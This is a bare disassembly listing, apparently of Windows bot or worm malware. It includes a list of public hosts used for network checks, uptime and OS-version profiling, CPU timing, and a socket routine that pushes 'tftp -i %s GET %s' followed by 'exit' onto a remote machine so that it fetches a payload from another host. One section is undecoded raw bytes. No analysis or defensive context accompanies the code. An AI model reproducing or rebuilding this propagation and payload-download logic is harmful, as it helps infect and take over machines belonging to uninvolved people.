mov dword ptr [ebp-60h], offset aWww_nocster_co ; "www.nocster.com"
mov dword ptr [ebp-5Ch], offset aWww_rit_edu ; "www.rit.edu"
mov dword ptr [ebp-58h], offset aWww_cogentco_c ; "www.cogentco.com"
mov dword ptr [ebp-54h], offset aWww_burst_net ; "www.burst.net"
mov dword ptr [ebp-50h], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov dword ptr [ebp-4Ch], offset aWww_level3_com ; "www.level3.com"
mov dword ptr [ebp-48h], offset aWww_above_net ; "www.above.net"
mov dword ptr [ebp-44h], offset aWww_easynews_c ; "www.easynews.com"
mov dword ptr [ebp-40h], offset aWww_google_com ; "www.google.com"
mov dword ptr [ebp-1Ch], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov dword ptr [ebp-18h], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov dword ptr [ebp-14h], offset aWww_d1asia_com ; "www.d1asia.com"
mov dword ptr [ebp-10h], offset aWww_nifty_com ; "www.nifty.com"
mov dword ptr [ebp-0Ch], offset aYahoo_co_jp ; "yahoo.co.jp"
mov dword ptr [ebp-8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_419E55
push dword ptr [ebp+eax*4-3Ch]
call sub_419E6F
push 8
mov esi, eax
call sub_419E55
push dword ptr [ebp+eax*4-3Ch]
call sub_419E6F
add esp, 10h
test esi, esi
jz short loc_41A14B
test eax, eax
jz short loc_41A147
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41A14D
; ---------------------------------------------------------------------------
loc_41A147: ; CODE XREF: seg000:0041A13Ej
mov ebx, esi
jmp short loc_41A14D
; ---------------------------------------------------------------------------
loc_41A14B: ; CODE XREF: seg000:0041A13Aj
mov ebx, eax
loc_41A14D: ; CODE XREF: seg000:0041A145j
; seg000:0041A149j
push 0Ch
call sub_419E55
push dword ptr [ebp+eax*4-6Ch]
call sub_419E6F
push 0Ch
mov edi, eax
call sub_419E55
push dword ptr [ebp+eax*4-6Ch]
call sub_419E6F
add esp, 10h
test edi, edi
jz short loc_41A185
test eax, eax
jz short loc_41A181
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41A187
; ---------------------------------------------------------------------------
loc_41A181: ; CODE XREF: seg000:0041A178j
mov esi, edi
jmp short loc_41A187
; ---------------------------------------------------------------------------
loc_41A185: ; CODE XREF: seg000:0041A174j
mov esi, eax
loc_41A187: ; CODE XREF: seg000:0041A17Fj
; seg000:0041A183j
push 6
call sub_419E55
push dword ptr [ebp+eax*4-1Ch]
call sub_419E6F
push 6
mov edi, eax
call sub_419E55
push dword ptr [ebp+eax*4-1Ch]
call sub_419E6F
add esp, 10h
test edi, edi
jz short loc_41A1BF
test eax, eax
jz short loc_41A1BB
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41A1C1
; ---------------------------------------------------------------------------
loc_41A1BB: ; CODE XREF: seg000:0041A1B2j
mov ecx, edi
jmp short loc_41A1C1
; ---------------------------------------------------------------------------
loc_41A1BF: ; CODE XREF: seg000:0041A1AEj
mov ecx, eax
loc_41A1C1: ; CODE XREF: seg000:0041A1B9j
; seg000:0041A1BDj
xor eax, eax
test ebx, ebx
jz short loc_41A1CE
mov edi, [ebp-4]
mov eax, ebx
jmp short loc_41A1D1
; ---------------------------------------------------------------------------
loc_41A1CE: ; CODE XREF: seg000:0041A1C5j
push 2
pop edi
loc_41A1D1: ; CODE XREF: seg000:0041A1CCj
test esi, esi
jz short loc_41A1D9
add eax, esi
jmp short loc_41A1DA
; ---------------------------------------------------------------------------
loc_41A1D9: ; CODE XREF: seg000:0041A1D3j
dec edi
loc_41A1DA: ; CODE XREF: seg000:0041A1D7j
test ecx, ecx
jz short loc_41A1E2
add eax, ecx
jmp short loc_41A1E3
; ---------------------------------------------------------------------------
loc_41A1E2: ; CODE XREF: seg000:0041A1DCj
dec edi
loc_41A1E3: ; CODE XREF: seg000:0041A1E0j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp-26Ch]
push offset dword_44F784
push eax
call sub_41D260
push 0
lea eax, [ebp-26Ch]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
lea eax, [ebp-26Ch]
push eax
call sub_4161A7
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_41A227 proc near ; CODE XREF: seg000:00407CC1p
; seg000:0040811Bp ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call ds:dword_4F1340 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4EE7F8
push eax
mov eax, ecx
div ebx
push eax
push offset dword_44F7FC
push 32h
push esi
call sub_41D360
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41A227 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp-94h]
push esi
push eax
xor esi, esi
mov dword ptr [ebp-94h], 94h
call ds:dword_4F1358 ; GetVersionExA
test eax, eax
jz short loc_41A323
cmp dword ptr [ebp-90h], 4
jnz short loc_41A2F9
cmp [ebp-8Ch], esi
jnz short loc_41A2E1
cmp dword ptr [ebp-84h], 1
jnz short loc_41A2D4
push 1
pop esi
loc_41A2D4: ; CODE XREF: seg000:0041A2CFj
cmp dword ptr [ebp-84h], 2
jnz short loc_41A323
push 1
jmp short loc_41A322
; ---------------------------------------------------------------------------
loc_41A2E1: ; CODE XREF: seg000:0041A2C6j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_41A2EE
loc_41A2EA: ; CODE XREF: seg000:0041A308j
push 2
jmp short loc_41A322
; ---------------------------------------------------------------------------
loc_41A2EE: ; CODE XREF: seg000:0041A2E8j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_41A323
jmp short loc_41A313
; ---------------------------------------------------------------------------
loc_41A2F9: ; CODE XREF: seg000:0041A2BEj
cmp dword ptr [ebp-90h], 5
jnz short loc_41A323
cmp [ebp-8Ch], esi
jz short loc_41A2EA
cmp dword ptr [ebp-8Ch], 1
jnz short loc_41A317
loc_41A313: ; CODE XREF: seg000:0041A2F7j
push 3
jmp short loc_41A322
; ---------------------------------------------------------------------------
loc_41A317: ; CODE XREF: seg000:0041A311j
cmp dword ptr [ebp-8Ch], 2
jnz short loc_41A323
push 7
loc_41A322: ; CODE XREF: seg000:0041A2DFj
; seg000:0041A2ECj ...
pop esi
loc_41A323: ; CODE XREF: seg000:0041A2B5j
; seg000:0041A2DBj ...
mov eax, esi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41A330: ; CODE XREF: seg000:0041A35Dj
; seg000:0041A363j
call sub_41A761
push 3E8h
mov edi, eax
mov ebx, edx
call ds:dword_4F12F4 ; Sleep
call sub_41A761
sub eax, edi
push 0
sbb edx, ebx
push esi
push edx
push eax
call sub_4203C0
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41A330
jb short loc_41A365
cmp ebx, esi
ja short loc_41A330
loc_41A365: ; CODE XREF: seg000:0041A35Fj
push 0
push 64h
push edi
push ebx
call sub_420430
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41A3D8
jb short loc_41A384
cmp esi, 50h
jnb short loc_41A389
loc_41A384: ; CODE XREF: seg000:0041A37Dj
push 4Bh
xor edx, edx
pop eax
loc_41A389: ; CODE XREF: seg000:0041A382j
test ecx, ecx
ja short loc_41A3D8
jb short loc_41A394
cmp esi, 47h
jnb short loc_41A399
loc_41A394: ; CODE XREF: seg000:0041A38Dj
push 42h
xor edx, edx
pop eax
loc_41A399: ; CODE XREF: seg000:0041A392j
test ecx, ecx
ja short loc_41A3D8
jb short loc_41A3A4
cmp esi, 37h
jnb short loc_41A3A9
loc_41A3A4: ; CODE XREF: seg000:0041A39Dj
push 32h
xor edx, edx
pop eax
loc_41A3A9: ; CODE XREF: seg000:0041A3A2j
test ecx, ecx
ja short loc_41A3D8
jb short loc_41A3B4
cmp esi, 26h
jnb short loc_41A3B9
loc_41A3B4: ; CODE XREF: seg000:0041A3ADj
push 21h
xor edx, edx
pop eax
loc_41A3B9: ; CODE XREF: seg000:0041A3B2j
test ecx, ecx
ja short loc_41A3D8
jb short loc_41A3C4
cmp esi, 1Eh
jnb short loc_41A3C9
loc_41A3C4: ; CODE XREF: seg000:0041A3BDj
push 19h
xor edx, edx
pop eax
loc_41A3C9: ; CODE XREF: seg000:0041A3C2j
test ecx, ecx
ja short loc_41A3D8
jb short loc_41A3D4
cmp esi, 0Ah
jnb short loc_41A3D8
loc_41A3D4: ; CODE XREF: seg000:0041A3CDj
xor eax, eax
xor edx, edx
loc_41A3D8: ; CODE XREF: seg000:0041A37Bj
; seg000:0041A38Bj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41A3E4: ; CODE XREF: seg000:00407E6Dp
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp-0CCh]
push edi
push eax
mov dword ptr [ebp-4], offset dword_4EE830
mov dword ptr [ebp-0CCh], 94h
call ds:dword_4F1358 ; GetVersionExA
xor ebx, ebx
cmp dword ptr [ebp-0C8h], 4
jnz short loc_41A46B
cmp [ebp-0C4h], ebx
jnz short loc_41A447
cmp dword ptr [ebp-0BCh], 1
jnz short loc_41A431
mov dword ptr [ebp-4], offset dword_44F808
loc_41A431: ; CODE XREF: seg000:0041A428j
cmp dword ptr [ebp-0BCh], 2
jnz loc_41A4E6
mov dword ptr [ebp-4], offset dword_44F80C
jmp short loc_41A4B7
; ---------------------------------------------------------------------------
loc_41A447: ; CODE XREF: seg000:0041A41Fj
cmp dword ptr [ebp-0C4h], 0Ah
jnz short loc_41A459
mov dword ptr [ebp-4], offset dword_44F810
jmp short loc_41A4AE
; ---------------------------------------------------------------------------
loc_41A459: ; CODE XREF: seg000:0041A44Ej
cmp dword ptr [ebp-0C4h], 5Ah
jnz short loc_41A4A7
mov dword ptr [ebp-4], offset dword_44F814
jmp short loc_41A4AE
; ---------------------------------------------------------------------------
loc_41A46B: ; CODE XREF: seg000:0041A417j
cmp dword ptr [ebp-0C8h], 5
jnz short loc_41A4A7
cmp [ebp-0C4h], ebx
jnz short loc_41A485
mov dword ptr [ebp-4], offset dword_44F818
jmp short loc_41A4AE
; ---------------------------------------------------------------------------
loc_41A485: ; CODE XREF: seg000:0041A47Aj
cmp dword ptr [ebp-0C4h], 1
jnz short loc_41A497
mov dword ptr [ebp-4], offset dword_44F81C
jmp short loc_41A4AE
; ---------------------------------------------------------------------------
loc_41A497: ; CODE XREF: seg000:0041A48Cj
cmp dword ptr [ebp-0C4h], 2
mov dword ptr [ebp-4], offset a2003 ; "2003"
jz short loc_41A4AE
loc_41A4A7: ; CODE XREF: seg000:0041A460j
; seg000:0041A472j
mov dword ptr [ebp-4], offset a??? ; "???"
loc_41A4AE: ; CODE XREF: seg000:0041A457j
; seg000:0041A469j ...
cmp dword ptr [ebp-0BCh], 2
jnz short loc_41A4E6
loc_41A4B7: ; CODE XREF: seg000:0041A445j
cmp [ebp-0B8h], bl
jz short loc_41A4E6
lea eax, [ebp-0B8h]
push eax
lea eax, [ebp-2E8h]
push dword ptr [ebp-4]
push offset aSS_6 ; "%s (%s)"
push eax
call sub_41D260
lea eax, [ebp-2E8h]
add esp, 10h
mov [ebp-4], eax
loc_41A4E6: ; CODE XREF: seg000:0041A438j
; seg000:0041A4B5j ...
mov ax, ds:word_44F834
push 3Fh
mov [ebp-25Ch], ax
pop ecx
xor eax, eax
lea edi, [ebp-25Ah]
rep stosd
stosw
mov eax, ds:dword_4513D8
mov dword ptr [ebp-0Ch], 100h
cmp eax, ebx
jz short loc_41A51F
lea ecx, [ebp-0Ch]
push ecx
lea ecx, [ebp-25Ch]
push ecx
call eax ; dword_4513D8
loc_41A51F: ; CODE XREF: seg000:0041A510j
push dword ptr [ebp+0Ch]
call sub_402617
pop ecx
push eax
call ds:dword_451530
mov [ebp-8], eax
push 2
lea eax, [ebp-8]
push 4
push eax
call ds:dword_4514AC
cmp eax, ebx
jz short loc_41A548
push dword ptr [eax]
jmp short loc_41A54D
; ---------------------------------------------------------------------------
loc_41A548: ; CODE XREF: seg000:0041A542j
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41A54D: ; CODE XREF: seg000:0041A546j
lea eax, [ebp-3E4h]
push eax
call sub_41D260
pop ecx
lea eax, [ebp-4E8h]
pop ecx
push 104h
push eax
call near ptr 3D0000h
mov edi, 0FEEC858Dh
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 6Ah
dd 50685046h, 530044F8h, 409BEh, 0E8565300h, 0FFFB5A78h
dd 0A4858DAAh, 6AFFFFFEh, 5C685046h, 530044F8h, 61E85653h
dd 40FFFB5Ah, 458D206Ah, 0E85053C8h, 2B54h, 8D0CC483h
dd 0E850C845h, 0FFFB5A48h, 8D53531Eh, 5053E845h, 0FB18858Dh
dd 0E850FFFFh, 3694h, 50E8458Dh, 0F818858Dh, 0E850FFFFh
dd 0FFFFC4E3h, 0F08B606Ah, 18BD8D59h, 0F3FFFFF8h, 8D606AA5h
dd 0FFF818B5h, 0BD8D59FFh, 0FFFFF998h, 0E853A5F3h, 0FFFFFC27h
dd 5020C483h, 0FEA4858Dh, 8D50FFFFh, 0FFFEEC85h, 858D50FFh
dd 0FFFFFDA4h, 0C75FF50h, 0FE7FF6E8h, 8D5059FFh, 0FFFC1C85h
dd 858D50FFh, 0FFFFFB18h, 18858D50h, 0FFFFFFFAh, 0FFFF40B5h
dd 3CB5FFFFh, 0FFFFFFFFh, 0FFFF38B5h, 0FC75FFFFh, 98858D50h
dd 50FFFFFAh, 0C1D4458Bh, 50530AE8h, 0FFC34EE8h, 505959FFh
dd 0C1D0458Bh, 50530AE8h, 0FFC33EE8h, 505959FFh, 0FFFCAFE8h
dd 685052FFh, 44F868h, 20068h, 875FF00h, 2CD3E8h, 8458B00h
dd 5F50C483h, 0C3C95B5Eh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A698 proc near ; CODE XREF: seg000:00406ED9p
; seg000:00407E9Bp
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41D100
add esp, 0Ch
cmp ds:dword_4515D8, 0
jnz short loc_41A70C
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call ds:dword_4513BC
test eax, eax
jnz short loc_41A6ED
lea eax, [ebp+var_8C]
push offset dword_44F95C
push eax
call sub_41D260
pop ecx
pop ecx
loc_41A6ED: ; CODE XREF: sub_41A698+40j
test [ebp+var_C], 1
jz short loc_41A705
push offset dword_44F96C
loc_41A6F8: ; CODE XREF: sub_41A698+72j
lea eax, [ebp+var_8]
push eax
call sub_41D260
pop ecx
pop ecx
jmp short loc_41A72E
; ---------------------------------------------------------------------------
loc_41A705: ; CODE XREF: sub_41A698+59j
push offset off_44F974
jmp short loc_41A6F8
; ---------------------------------------------------------------------------
loc_41A70C: ; CODE XREF: sub_41A698+28j
lea eax, [ebp+var_8]
push offset off_44F978
push eax
call sub_41D260
lea eax, [ebp+var_8C]
push offset off_44F97C
push eax
call sub_41D260
add esp, 10h
loc_41A72E: ; CODE XREF: sub_41A698+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_402617
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_44F980
push 200h
push [ebp+arg_0]
call sub_41D360
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41A698 endp
; =============== S U B R O U T I N E =======================================
sub_41A761 proc near ; CODE XREF: seg000:loc_41A330p
; seg000:0041A344p
rdtsc
retn
sub_41A761 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A764 proc near ; CODE XREF: seg000:0041AA48p
; seg000:0041AA65p ...
var_14 = byte ptr -14h
var_C = byte ptr -0Ch
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
mov esi, offset dword_4EE93C
lea edi, [ebp+var_C]
mov ax, ds:word_44F9E8
movsd
movsb
mov esi, offset dword_4EE944
lea edi, [ebp+var_14]
mov [ebp+var_2], ax
mov ax, ds:word_44F9EC
movsd
mov [ebp+var_6], ax
mov ax, ds:word_4EE938
movsw
mov [ebp+var_4], ax
mov eax, [ebp+arg_8]
xor esi, esi
cmp eax, esi
jnz loc_41A830
mov edi, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
mov [ebp+arg_8], esi
loc_41A7B6: ; CODE XREF: sub_41A764+C7j
mov eax, [ebp+arg_8]
sub eax, esi
jz short loc_41A7D6
dec eax
jnz short loc_41A824
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call ds:dword_451540
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41A7EA
; ---------------------------------------------------------------------------
loc_41A7D6: ; CODE XREF: sub_41A764+57j
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call ds:dword_451540
push esi
push 1
lea eax, [ebp+var_6]
loc_41A7EA: ; CODE XREF: sub_41A764+70j
push eax
push edi
call ds:dword_451540
push ebx
call sub_41AC70
pop ecx
cmp eax, 2
push esi
jnz short loc_41A806
push 4
lea eax, [ebp+var_C]
jmp short loc_41A80B
; ---------------------------------------------------------------------------
loc_41A806: ; CODE XREF: sub_41A764+99j
push 5
lea eax, [ebp+var_14]
loc_41A80B: ; CODE XREF: sub_41A764+A0j
push eax
push edi
call ds:dword_451540
push esi
push ebx
call sub_41AC70
pop ecx
push eax
push ebx
push edi
call ds:dword_451540
loc_41A824: ; CODE XREF: sub_41A764+5Aj
inc [ebp+arg_8]
cmp [ebp+arg_8], 1
jle short loc_41A7B6
pop ebx
jmp short loc_41A8A6
; ---------------------------------------------------------------------------
loc_41A830: ; CODE XREF: sub_41A764+42j
dec eax
jz short loc_41A84F
dec eax
jnz short loc_41A8A6
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call ds:dword_451540
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41A866
; ---------------------------------------------------------------------------
loc_41A84F: ; CODE XREF: sub_41A764+CDj
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call ds:dword_451540
push esi
push 1
lea eax, [ebp+var_6]
loc_41A866: ; CODE XREF: sub_41A764+E9j
push eax
push edi
call ds:dword_451540
push [ebp+arg_4]
call sub_41AC70
pop ecx
cmp eax, 2
push esi
jnz short loc_41A884
push 4
lea eax, [ebp+var_C]
jmp short loc_41A889
; ---------------------------------------------------------------------------
loc_41A884: ; CODE XREF: sub_41A764+117j
push 5
lea eax, [ebp+var_14]
loc_41A889: ; CODE XREF: sub_41A764+11Ej
push eax
push edi
call ds:dword_451540
push esi
push [ebp+arg_4]
call sub_41AC70
pop ecx
push eax
push [ebp+arg_4]
push edi
call ds:dword_451540
loc_41A8A6: ; CODE XREF: sub_41A764+CAj
; sub_41A764+D0j
pop edi
pop esi
leave
retn
sub_41A764 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
mov esi, offset dword_44F9F0
lea edi, [ebp-38h]
mov ax, ds:word_44FA04
movsd
movsd
movsd
movsb
mov esi, offset dword_44FA00
lea edi, [ebp-14h]
movsw
movsb
mov esi, offset dword_4EE94C
lea edi, [ebp-28h]
movsd
movsb
mov esi, offset dword_44FA0C
lea edi, [ebp-10h]
movsw
movsb
mov esi, offset dword_44FA14
lea edi, [ebp-0Ch]
movsw
movsb
mov [ebp-2], ax
mov ax, ds:word_44FA08
xor esi, esi
mov [ebp-4], ax
mov ax, ds:word_44FA18
push esi
push 1
push 2
mov [ebp-6], ax
xor edi, edi
call ds:dword_451570
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [ebp-1Ch], ebx
jnz short loc_41A92B
push eax
call ds:dword_451588
loc_41A92B: ; CODE XREF: seg000:0041A922j
lea eax, [ebp+0Ch]
mov word ptr [ebp-48h], 2
push eax
call ds:dword_451530
push dword ptr [ebp+0A8h]
mov [ebp-44h], eax
call ds:dword_4514F4
mov [ebp-46h], ax
lea eax, [ebp-48h]
push 10h
push eax
push ebx
call ds:dword_45149C
test eax, eax
jnz loc_41AC60
loc_41A963: ; CODE XREF: seg000:0041A9D9j
; seg000:0041AA14j
push 40h
lea eax, [ebp-88h]
push esi
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp-88h]
push esi
push 40h
push eax
push ebx
call ds:dword_45150C
cmp eax, esi
jle loc_41AA33
cmp eax, 0FFFFFFFFh
jz loc_41AA33
mov eax, edi
sub eax, esi
jz short loc_41A9DB
dec eax
jz short loc_41A9A5
dec eax
jz short loc_41AA19
jmp short loc_41AA0F
; ---------------------------------------------------------------------------
loc_41A9A5: ; CODE XREF: seg000:0041A99Ej
lea eax, [ebp-14h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_41AC60
lea eax, [ebp-2]
push esi
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-2]
push eax
push ebx
call ds:dword_451540
push 2
pop edi
jmp short loc_41A963
; ---------------------------------------------------------------------------
loc_41A9DB: ; CODE XREF: seg000:0041A99Bj
lea eax, [ebp-38h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_41AC60
lea eax, [ebp-38h]
push esi
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-38h]
push eax
push ebx
call ds:dword_451540
push 1
pop edi
loc_41AA0F: ; CODE XREF: seg000:0041A9A3j
cmp edi, 3
jz short loc_41AA33
jmp loc_41A963
; ---------------------------------------------------------------------------
loc_41AA19: ; CODE XREF: seg000:0041A9A1j
lea eax, [ebp-28h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_41AC60
loc_41AA33: ; CODE XREF: seg000:0041A988j
; seg000:0041A991j ...
push esi
lea eax, [ebp-4]
push 1
push eax
push ebx
call ds:dword_451540
lea eax, [ebp-10h]
push 1
push eax
push ebx
call sub_41A764
mov esi, ds:dword_4F12F4
add esp, 0Ch
mov edi, 3E8h
push edi
call esi ; dword_4F12F4
lea eax, [ebp-6]
push 0
push eax
push ebx
call sub_41A764
add esp, 0Ch
push edi
call esi ; dword_4F12F4
lea eax, [ebp-10h]
push 2
push eax
push ebx
call sub_41A764
add esp, 0Ch
push edi
call esi ; dword_4F12F4
and dword ptr [ebp-18h], 0
mov ebx, offset byte_44F9DC
push ebx
call sub_41AC70
test eax, eax
pop ecx
jbe short loc_41AAD5
loc_41AA96: ; CODE XREF: seg000:0041AAD3j
mov eax, [ebp-18h]
movsx eax, ds:byte_44F9DC[eax]
push eax
push offset dword_44FA1C
lea eax, [ebp-20h]
push 3
push eax
call sub_41D360
lea eax, [ebp-20h]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_41A764
add esp, 1Ch
push 7Dh
call esi ; dword_4F12F4
inc dword ptr [ebp-18h]
push ebx
call sub_41AC70
cmp [ebp-18h], eax
pop ecx
jb short loc_41AA96
loc_41AAD5: ; CODE XREF: seg000:0041AA94j
lea eax, [ebp-0Ch]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_41A764
add esp, 0Ch
push 7D0h
call esi ; dword_4F12F4
push 100h
mov ebx, offset byte_4EE838
push 0
push ebx
call sub_41D100
add esp, 0Ch
push offset byte_43CCBC
push dword ptr [ebp+8]
call sub_402617
pop ecx
push eax
push offset aTftpISGetS ; "tftp -i %s GET %s"
push 0FFh
push ebx
call sub_41D360
and dword ptr [ebp-18h], 0
push ebx
call sub_41AC70
add esp, 18h
test eax, eax
jbe short loc_41AB71
loc_41AB32: ; CODE XREF: seg000:0041AB6Fj
mov eax, [ebp-18h]
movsx eax, ds:byte_4EE838[eax]
push eax
push offset aC_1 ; "%c"
lea eax, [ebp-20h]
push 3
push eax
call sub_41D360
lea eax, [ebp-20h]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_41A764
add esp, 1Ch
push 7Dh
call esi ; dword_4F12F4
inc dword ptr [ebp-18h]
push ebx
call sub_41AC70
cmp [ebp-18h], eax
pop ecx
jb short loc_41AB32
loc_41AB71: ; CODE XREF: seg000:0041AB30j
push edi
call esi ; dword_4F12F4
lea eax, [ebp-0Ch]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_41A764
add esp, 0Ch
push 7530h
call esi ; dword_4F12F4
and dword ptr [ebp-18h], 0
mov ebx, offset byte_43CCBC
push ebx
call sub_41AC70
test eax, eax
pop ecx
jbe short loc_41ABDF
loc_41ABA0: ; CODE XREF: seg000:0041ABDDj
mov eax, [ebp-18h]
movsx eax, ds:byte_43CCBC[eax]
push eax
push offset aC_2 ; "%c"
lea eax, [ebp-20h]
push 3
push eax
call sub_41D360
lea eax, [ebp-20h]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_41A764
add esp, 1Ch
push 7Dh
call esi ; dword_4F12F4
inc dword ptr [ebp-18h]
push ebx
call sub_41AC70
cmp [ebp-18h], eax
pop ecx
jb short loc_41ABA0
loc_41ABDF: ; CODE XREF: seg000:0041AB9Ej
push edi
call esi ; dword_4F12F4
xor ebx, ebx
lea eax, [ebp-0Ch]
push ebx
push eax
push dword ptr [ebp-1Ch]
call sub_41A764
mov edi, offset aExit ; "exit"
push edi
call sub_41AC70
add esp, 10h
test eax, eax
jbe short loc_41AC3C
loc_41AC03: ; CODE XREF: seg000:0041AC3Aj
movsx eax, byte ptr ds:aExit[ebx] ; "exit"
push eax
push offset aC_3 ; "%c"
lea eax, [ebp-20h]
push 3
push eax
call sub_41D360
lea eax, [ebp-20h]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_41A764
add esp, 1Ch
push 7Dh
call esi ; dword_4F12F4
push edi
inc ebx
call sub_41AC70
cmp ebx, eax
pop ecx
jb short loc_41AC03
loc_41AC3C: ; CODE XREF: seg000:0041AC01j
push 2
pop edi
loc_41AC3F: ; CODE XREF: seg000:0041AC58j
push 258h
call esi ; dword_4F12F4
lea eax, [ebp-0Ch]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_41A764
add esp, 0Ch
dec edi
jnz short loc_41AC3F
mov ebx, [ebp-1Ch]
push 1
pop esi
loc_41AC60: ; CODE XREF: seg000:0041A95Dj
; seg000:0041A9B9j ...
push ebx
call ds:dword_451588
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41AC70 proc near ; CODE XREF: start+34p
; seg000:0040120Cp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41AC90
loc_41AC7C: ; CODE XREF: sub_41AC70+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41ACC3
test ecx, 3
jnz short loc_41AC7C
add eax, 0
loc_41AC90: ; CODE XREF: sub_41AC70+Aj
; sub_41AC70+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41AC90
mov eax, [ecx-4]
test al, al
jz short loc_41ACE1
test ah, ah
jz short loc_41ACD7
test eax, 0FF0000h
jz short loc_41ACCD
test eax, 0FF000000h
jz short loc_41ACC3
jmp short loc_41AC90
; ---------------------------------------------------------------------------
loc_41ACC3: ; CODE XREF: sub_41AC70+11j
; sub_41AC70+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41ACCD: ; CODE XREF: sub_41AC70+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41ACD7: ; CODE XREF: sub_41AC70+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41ACE1: ; CODE XREF: sub_41AC70+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41AC70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ACF0 proc near ; CODE XREF: seg000:00401127p
; seg000:00405533p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], 0FFFFFFFFh
loc_41ACFE: ; CODE XREF: sub_41ACF0+36j
cmp [ebp+arg_0], 0
jnz short loc_41AD22
push offset dword_4394EC
push 0
push 3Ah
push offset dword_4394E0
push 2
call loc_420E10
add esp, 14h
